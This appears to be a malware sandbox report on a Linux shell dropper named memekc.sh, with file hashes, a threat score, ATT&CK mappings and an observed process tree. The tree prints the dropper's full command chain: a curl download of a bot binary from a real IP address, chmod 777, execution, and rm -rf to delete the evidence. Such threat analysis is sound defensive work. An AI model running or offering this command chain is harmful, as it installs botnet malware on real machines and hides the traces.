2f0dd5c9ab2b550631a9785f61af01d0d9a38e0f029ee946642df2d099408b0c

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23/05/2026, 14:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
memekc.sh
Size 868B
Sample260523-rdb2qaaw8j
SHA256 2f0dd5c9ab2b550631a9785f61af01d0d9a38e0f029ee946642df2d099408b0c
MD5 e596dcc19376f9dde30bbde12cd5a0c9
SHA1 c34cfe770749ef66dfab9a7b846ebeaaa974dfa4
SHA512 97114f3f2cab91d157510ae436b68f5596e80243281783f875e9b6ebd7932f713c97a39599201cd6fed2a0a9bc8e1e6edbc5defc507de367ca58af0f87091df2
TLSH
T1E0116D97F99686A38E8D007D5F6EB1164063C87717A2C839B28CEF190F53144BAE1238
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1521	chmod

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/luxzz.x86_64	curl

/tmp/memekc.sh
/tmp/memekc.sh
1⤵
PID:1513
- /bin/uname
  uname -m
  2⤵
  PID:1515
- /usr/bin/curl
  curl http://62.169.16.83/luxzzxzzx/luxzz.x86_64 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 bot
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/bot
  ./bot
  2⤵
  PID:1522
- /bin/rm
  rm -rf bot
  2⤵
  PID:1523
- /bin/rm
  rm -rf memekc.sh
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

luxzz.x86_64

Path /tmp/luxzz.x86_64
Size 42KB
SHA256 5331001f9e39019ebf6d7004a8dfc3aeef4c7ff753cf3ee4e47fc273bb5d842c
MD5 7273958968181ce4c08dd135add015db
SHA1 d930cede18a02ba3ad97ecc327bbb78515f0a3fe
SHA512 1fb5814fa56380b2283e5f73816b3250e93f15225a4421c414ce2a2210d1791e21bdd10f53dab55fc0b0f0a20879425bcb3f434a2eb26e49a349d6c711fe615e
SSDEEP 768:ilkWoNuBjL6H260T1PpEIB+Dk33ok2DtLVPPgeVuCUXLbWINCT84aSfsB:mk5MB/U2zTgm+A33orbXgjPLbW2CTQSq
TLSH
T10D13027DDE2512A3EB16983990630A9A4BFF58C9CF83BF0DEB60B852705C4057537639
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download